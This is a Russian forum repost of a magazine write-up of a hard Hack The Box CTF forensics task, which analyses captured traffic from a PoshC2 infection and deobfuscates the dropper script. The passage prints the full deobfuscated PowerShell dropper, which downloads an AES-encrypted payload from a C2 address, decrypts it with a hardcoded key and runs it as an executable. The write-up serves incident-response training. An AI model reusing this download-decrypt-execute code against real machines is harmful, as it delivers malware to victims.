Ques/Help/Req InterstellarC2. Разбираем последствия заражения дроппером PoshC2

XakeR

Member
Регистрация
13.05.2006
Сообщения
1 912
Реакции
0
Баллы
16
Местоположение
Ukraine
Закрепление, постэксплуатация и эксфильтрация — три неотъемлемых этапа каждой атаки. В этой статье мы проведем расследование инцидента: поищем артефакты, сдампим сетевой трафик и деобфусцируем найденный вредоносный код. Таким образом мы восстановим действия злоумышленника и заодно познакомимся с популярными техниками, которые часто применяются «в дикой среде».

Эта статья — райтап по одному из заданий по цифровой форензике с прошедшего в марте 2023 года CTF-соревнования на Hack The Box. Уровень — сложный.

Наше задание звучит следующим образом:

«Мы заметили необычный трафик, исходящий из открытого космоса. Неизвестная группа использует сервер Command and Control. В ходе всестороннего расследования мы установили, что заражено несколько компьютеров ученых из частной лаборатории Pandora. Можешь узнать, как работает сервер, и вернуть украденное?»

То есть мы знаем, что сервер был скомпрометирован, и у нас есть трафик. Нас просят проанализировать дамп, провести расследование инцидента и установить, как атакующие загружали утилиты на скомпрометированный сервер, какими способами закреплялись и как производили эксфильтрацию данных. В конечном счете нам нужно будет найти флаг.



Ищем артефакты в сетевом трафике​


Первым делом загрузим дамп в Wireshark. Несложно установить, что IP скомпрометированного сервера приватный — 192.168.25.140, в то время как адрес C2-сервера атакующих публичный — 64.226.84.200. Также видно, что со скомпрометированного хоста происходит обращение к стороннему ресурсу (C2-серверу) с GET-запросом по ссылке, которая оканчивается на vn84.ps1. В ответ сервер отдает сценарий на PowerShell.

GET-запрос со скомпрометированного хоста для загрузки vn84.ps1

Трафик передается по HTTP, то есть без шифрования. Это значит, что мы можем экспортировать переданные объекты из дампа и подробно их изучить, чтобы восстановить ход атаки, а также определить, какие методы и утилиты использовали атакующие. Для этого в меню выбираем «Файл → Экспортировать объекты → HTTP». Жмем «Сохранить все» и задаем конечную директорию.

Экспортированные из дампа трафика объекты

Изучаем артефакты​


В глаза сразу бросается экспортированный сценарий PowerShell, однако, чтобы получить полную картину, нужно определить, с артефактами какого формата нам предстоит работать. Поэтому не будем бросаться изучать найденные скрипты, а первым делом посмотрим, что за формат у остальных экспортированных файлов. Для этого воспользуемся утилитой file и командлетом Get-ChildItem. Обойдем все файлы в цикле:

foreach ($file in (Get-ChildItem $_.Name))Формат экспортированных файлов

Запишем полученный массив в переменную $fileformat, а в новом цикле переименуем файлы с расширением PNG, чтобы посмотреть, что внутри.

foreach ($format in $fileformat) }

Интересного в самих картинках мало (это изображения собак в низком разрешении), однако внимание привлекает файл %3fdVfhJmc2ciKvPOC(23).png, поскольку его размер больше других — 827 Кбайт. Похоже, помимо картинки, в нем есть что‑то еще. Возьмем этот факт на заметку и будем двигаться дальше. Поглядим, что в других файлах.

Полученные PNG

Файлы размером около 1 Кбайт — ответы сервера на запросы («200 OK» и другие коды), и интереса такие данные для нас не представляют. Остальные файлы имеют малоразличимое содержимое, их пока оставим, а вот экспортированный сценарий PowerShell вполне читабельный, хоть и немного обфусцирован. Попробуем разобраться, что происходит в коде.

Изучая vn84.ps1, можно увидеть обфусцированные командлеты.

Обфусцированное содержимое vn84.ps1

Здесь атакующие используют обфускацию строк, подробнее об этой и других техниках можно узнать из доклада на Black Hat 2017 (PDF).

Для деобфускации можно пойти несколькими путями: воспользоваться инструментом PSDecode, использовать журнал Windows при включенном аудите сценариев PowerShell, ну или попросить разобраться ChatGPT, который тоже умеет деобфусцировать, хоть иногда и меняет исходный код на свое усмотрение.

Я воспользуюсь PSDecode. После деобфускации получаем исходный сценарий (некоторые строки я подправил вручную):

Set-Item ‘Variable:QLz0so’ ([type](‘System.IO.FileMode’))Set-Variable -Name l60Yu3 -Value ([type](‘System.Security.Cryptography.AesCryptoServiceProvider’))Set-Variable -Name BI34 -Value ([type](‘System.Security.Cryptography.CryptoStream’))$Url = ‘http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51′$PTF = «$env:temp94974f08-5853-41ab-938a-ae1bd86d8e51″Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $pathInvoke-WebRequest -Uri $Url -OutFile $PTF$Fs = New-Object -TypeName ‘System.IO.FileStream’($PTF, ([System.IO.FileMode]::Open))$MS = New-Object -TypeName ‘System.IO.MemoryStream’$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::Create()$aes.KeySize = 128 $KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)$aes.Key = $KEY$aes.IV = $iv$cs = New-Object -TypeName ‘System.Security.Cryptography.CryptoStream’($MS, $aes.CreateDecryptor(), ([System.Security.Cryptography.CryptoStreamMode]::Write))$fs.CopyTo($cs)$decD = $MS.ToArray()$CS.Write($decD, 0, $decD.Length)$decD | Out-File -Path «$env:temptmp7102591.exe» -Encoding Byte & «$env:temptmp7102591.exe»

Становится понятнее. Если коротко: PowerShell здесь при помощи системной службы Windows BitsTransfer (T1197 по матрице ATT&CK) данные с C2-сервера загружаются на скомпрометированный хост, после чего загруженные данные расшифровываются по алгоритму AES-CBC-128. Для расшифровки AES c CBC-mode необходимы ключ и вектор инициализации, они как раз и указаны в сценарии.

Расшифрованные байты записываются в исполняемый файл $env:temptmp7102591.exe, а затем этот файл запускается. Наша первоочередная цель — расшифровать данные и записать их в исполняемый файл для дальнейшего изучения. Это поможет узнать, что происходило на этапе закрепления.

Для дешифровки можем воспользоваться тем же сценарием или инструментом CyberChef (но это более трудоемкий способ).

Из значения переменной $Url в сценарии следует, что расшифровывать нужно поток байтов в дампе трафика с именем 94974f08-5853-41ab-938a-ae1bd86d8e51.

info​


Чтобы убедиться, что работа ведется с верным пакетом, номер пакета можно сопоставить с номером экспортируемого объекта Wireshark.

Присоединяйся к сообществу «Xakep.ru»!​


Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

-60%

1 year​


9990 рублей 4000 р.


[TD]

1 month_r​


920 р.
[/TD]

Я уже участник «Xakep.ru»
 
198 140Темы
635 111Сообщения
3 618 406Пользователи
giveusНовый пользователь
Верх